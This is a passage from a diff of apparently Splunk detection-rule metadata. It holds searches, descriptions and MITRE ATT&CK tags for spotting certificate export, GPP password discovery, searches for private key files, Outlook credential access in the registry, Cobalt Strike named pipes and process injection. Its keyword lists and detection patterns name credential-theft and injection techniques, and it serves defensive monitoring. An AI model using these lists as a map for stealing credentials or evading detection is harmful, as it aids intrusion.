"security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Export PfxCertificate", - "description": "The following analytic detects the use of the PowerShell cmdlet `export-pfxcertificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the Windows Certificate Store. Monitoring this behavior is crucial for identifying potential certificate theft, which can lead to unauthorized access and impersonation attacks. If confirmed malicious, this activity could allow attackers to compromise secure communications, authenticate as legitimate users, and escalate their privileges within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-pfxcertificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_pfxcertificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a PFX Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerSploit GPP Discovery", - "description": "The following analytic detects the execution of the Get-GPPPassword PowerShell cmdlet, which is used to search for unsecured credentials in Group Policy Preferences (GPP). This detection leverages PowerShell Script Block Logging to identify specific script block text associated with this cmdlet. Monitoring this activity is crucial as it can indicate an attempt to retrieve and decrypt stored credentials from SYSVOL, potentially leading to unauthorized access. If confirmed malicious, this activity could allow an attacker to escalate privileges or move laterally within the network by exploiting exposed credentials.", - "search": " `powershell` EventCode=4104 (ScriptBlockText=Get-GPPPassword OR ScriptBlockText=Get-CachedGPPPassword) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powersploit_gpp_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Commandlets leveraged to discover GPP credentials were executed on $Computer$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1552.006", - "mitre_attack_technique": "Group Policy Preferences", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Private Keys Discovery", - "description": "The following analytic identifies processes that retrieve information related to private key files, often used by post-exploitation tools like winpeas. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that search for private key certificates. This activity is significant as it indicates potential attempts to locate insecurely stored credentials, which adversaries can exploit for privilege escalation, persistence, or remote service authentication. If confirmed malicious, this behavior could allow attackers to access sensitive information, escalate privileges, or maintain persistence within the compromised environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*dir *\" OR Processes.process = \"*findstr*\" AND Processes.process IN ( \"*.rdg*\", \"*.gpg*\", \"*.pgp*\", \"*.p12*\", \"*.der*\", \"*.csr*\", \"*.cer*\", \"*.ovpn*\", \"*.key*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.p7b*\", \"*.asc*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_private_keys_discovery_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process with commandline $process$ that can retrieve information related to private keys in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Unsecured Outlook Credentials Access In Registry", - "description": "The following analytic detects unauthorized access to Outlook credentials stored in the Windows registry. It leverages Windows Security Event logs, specifically EventCode 4663, to identify access attempts to registry paths associated with Outlook profiles. This activity is significant as it may indicate attempts to steal sensitive email credentials, which could lead to unauthorized access to email accounts. If confirmed malicious, this could allow attackers to exfiltrate sensitive information, impersonate users, or execute further unauthorized actions within Outlook, posing a significant security risk.", - "search": "`wineventlog_security` EventCode=4663 object_file_path IN (\"*\\\\Profiles\\\\Outlook\\\\9375CFF0413111d3B88A00104B2A6676*\", \"*\\\\Windows Messaging Subsystem\\\\Profiles\\\\9375CFF0413111d3B88A00104B2A6676*\") AND process_name != *\\\\outlook.exe | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsecured_outlook_credentials_access_in_registry_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process $process_name$ accessing outlook credentials registry on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -282497,62 +201345,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Monitor Registry Keys for Print Monitors", - "description": "The following analytic detects modifications to the registry key `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors`. It leverages data from the Endpoint.Registry data model, focusing on events where the registry path is modified. This activity is significant because attackers can exploit this registry key to load arbitrary .dll files, which will execute with elevated SYSTEM permissions and persist after a reboot. If confirmed malicious, this could allow attackers to maintain persistence, execute code with high privileges, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.action=modified AND Registry.registry_path=\"*CurrentControlSet\\\\Control\\\\Print\\\\Monitors*\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `monitor_registry_keys_for_print_monitors_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "New print monitor added on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.010", - "mitre_attack_technique": "Port Monitors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -285056,2061 +203848,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Splunk Process Injection Forwarder Bundle Downloads", - "description": "The following analytic identifies unauthorized forwarder bundle downloads from Splunk Deployment Servers. It leverages native Splunk logs, specifically the `splunkd` component \"PackageDownloadRestHandler,\" to detect instances where an unauthenticated client may have downloaded forwarder bundles. This activity is significant because it could indicate a potential security breach, allowing unauthorized access to sensitive configurations and applications. If confirmed malicious, an attacker could gain insights into the deployment server's environment, potentially leading to further exploitation or lateral movement within the network.", - "search": "`splunkd` component=\"PackageDownloadRestHandler\" | stats values(app) values(serverclass) by peer, host | `splunk_process_injection_forwarder_bundle_downloads_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$peer$ downloaded apps from $host$", - "risk_score": 35, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Cobalt Strike Named Pipes", - "description": "The following analytic detects the use of default or publicly known named pipes associated with Cobalt Strike. It leverages Sysmon EventID 17 and 18 to identify specific named pipes commonly used by Cobalt Strike's Artifact Kit and Malleable C2 Profiles. This activity is significant because Cobalt Strike is a popular tool for adversaries to conduct post-exploitation tasks, and identifying its named pipes can reveal potential malicious activity. If confirmed malicious, this could indicate an active Cobalt Strike beacon, leading to unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": "`sysmon` EventID=17 OR EventID=18 PipeName IN (\\\\msagent_*, \\\\DserNamePipe*, \\\\srvsvc_*, \\\\postex_*, \\\\status_*, \\\\MSSE-*, \\\\spoolss_*, \\\\win_svc*, \\\\ntsvcs*, \\\\winsock*, \\\\UIA_PIPE*) | stats count min(_time) as firstTime max(_time) as lastTime by dest, process_name, process_id process_path, PipeName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cobalt_strike_named_pipes_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "DarkSide Ransomware", - "Graceful Wipe Out Attack", - "LockBit Ransomware", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ accessing known suspicious named pipes related to Cobalt Strike.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Create Remote Thread In Shell Application", - "description": "The following analytic detects suspicious process injection in command shell applications, specifically targeting `cmd.exe` and `powershell.exe`. It leverages Sysmon EventCode 8 to identify the creation of remote threads within these shell processes. This activity is significant because it is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to system security.", - "search": "`sysmon` EventCode=8 TargetImage IN (\"*\\\\cmd.exe\", \"*\\\\powershell*\") | stats count min(_time) as firstTime max(_time) as lastTime by TargetImage TargetProcessId SourceProcessId EventCode StartAddress SourceImage dest |rename SourceImage as process_name| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `create_remote_thread_in_shell_application_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Qakbot", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ create a remote thread to shell app process $TargetImage$ in host $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "DLLHost with no Command Line Arguments with Network", - "description": "The following analytic detects instances of DLLHost.exe running without command line arguments while establishing a network connection. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process execution and network activity data. It is significant because DLLHost.exe typically runs with specific arguments, and its absence can indicate malicious activity, such as Cobalt Strike usage. If confirmed malicious, this activity could allow attackers to execute code, move laterally, or exfiltrate data, posing a severe threat to the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_name=dllhost.exe Processes.action!=\"blocked\" by host _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(dllhost\\.exe.{0,4}$)\" | rename dest as src | join host process_id [| tstats `security_content_summariesonly` count latest(All_Traffic.dest) as dest latest(All_Traffic.dest_ip) as dest_ip latest(All_Traffic.dest_port) as dest_port FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by host All_Traffic.process_id | `drop_dm_object_name(All_Traffic)`] | `dllhost_with_no_command_line_arguments_with_network_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_image", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The process $process_name$ was spawned by $parent_process_name$ without any command-line arguments on $src$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "GPUpdate with no Command Line Arguments with Network", - "description": "The following analytic detects the execution of gpupdate.exe without command line arguments and with an active network connection. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process execution and network traffic data. It is significant because gpupdate.exe typically runs with specific arguments, and its execution without them, especially with network activity, is often associated with malicious software like Cobalt Strike. If confirmed malicious, this activity could indicate an attacker leveraging gpupdate.exe for lateral movement, command and control, or other nefarious purposes, potentially leading to system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=gpupdate.exe by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(gpupdate\\.exe.{0,4}$)\"| join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time user dest parent_process_name process_name process_path process process_id dest_port C2 | `gpupdate_with_no_command_line_arguments_with_network_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process", - "Attacker" - ] - }, - { - "name": "C2", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Process gpupdate.exe with parent_process $parent_process_name$ is executed on $dest$ by user $user$, followed by an outbound network connection to $C2$ on port $dest_port$. This behaviour is seen with cobaltstrike.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Loading Of Dynwrapx Module", - "description": "The following analytic detects the loading of the dynwrapx.dll module, which is associated with the DynamicWrapperX ActiveX component. This detection leverages Sysmon EventCode 7 to identify processes that load or register dynwrapx.dll. This activity is significant because DynamicWrapperX can be used to call Windows API functions in scripts, making it a potential tool for malicious actions. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the host. Immediate investigation of parallel processes and registry modifications is recommended.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\dynwrapx.dll\" OR OriginalFileName = \"dynwrapx.dll\" OR Product = \"DynamicWrapperX\") | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName Product process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `loading_of_dynwrapx_module_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "dynwrapx.dll loaded by process $process_name$ on $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Notepad with no Command Line Arguments", - "description": "The following analytic identifies instances where Notepad.exe is launched without any command line arguments, a behavior commonly associated with the SliverC2 framework. This detection leverages process creation events from Endpoint Detection and Response (EDR) agents, focusing on processes initiated by Notepad.exe within a short time frame. This activity is significant as it may indicate an attempt to inject malicious code into Notepad.exe, a known tactic for evading detection. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise and unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_name=notepad.exe AND Processes.action!=\"blocked\" by host _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(notepad\\.exe.{0,4}$)\" | `notepad_with_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BishopFox Sliver Adversary Emulation Framework" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ with no command line arguments.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Process Injection via GetProcAddress", - "description": "The following analytic detects the use of `GetProcAddress` in PowerShell script blocks, leveraging PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, which is then logged in Windows event logs. The presence of `GetProcAddress` is unusual for typical PowerShell scripts and often indicates malicious activity, as many attack toolkits use it to achieve code execution. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise. Analysts should review parallel processes and the entire logged script block for further investigation.", - "search": "`powershell` EventCode=4104 ScriptBlockText=*getprocaddress* | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_process_injection_via_getprocaddress_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains GetProcAddress API on host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Remote Thread To Known Windows Process", - "description": "The following analytic detects suspicious PowerShell processes attempting to inject code into critical Windows processes using CreateRemoteThread. It leverages Sysmon EventCode 8 to identify instances where PowerShell spawns threads in processes like svchost.exe, csrss.exe, and others. This activity is significant as it is commonly used by malware such as TrickBot and offensive tools like Cobalt Strike to execute malicious payloads, establish reverse shells, or download additional malware. If confirmed malicious, this behavior could lead to unauthorized code execution, privilege escalation, and persistent access within the environment.", - "search": "`sysmon` EventCode = 8 parent_process_name IN (\"powershell_ise.exe\", \"powershell.exe\") TargetImage IN (\"*\\\\svchost.exe\",\"*\\\\csrss.exe\" \"*\\\\gpupdate.exe\", \"*\\\\explorer.exe\",\"*\\\\services.exe\",\"*\\\\winlogon.exe\",\"*\\\\smss.exe\",\"*\\\\wininit.exe\",\"*\\\\userinit.exe\",\"*\\\\spoolsv.exe\",\"*\\\\taskhost.exe\") | stats min(_time) as firstTime max(_time) as lastTime count by SourceImage process_name SourceProcessId SourceProcessGuid TargetImage TargetProcessId NewThreadId StartAddress dest EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_remote_thread_to_known_windows_process_filter`", - "tags": { - "analytic_story": [ - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious powershell process $process_name$ that tries to create a remote thread on target process $TargetImage$ with eventcode $EventCode$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Create Remote Thread To A Process", - "description": "The following analytic detects the creation of a remote thread by rundll32.exe into another process. It leverages Sysmon EventCode 8 logs, specifically monitoring SourceImage and TargetImage fields. This activity is significant as it is a common technique used by malware, such as IcedID, to execute malicious code within legitimate 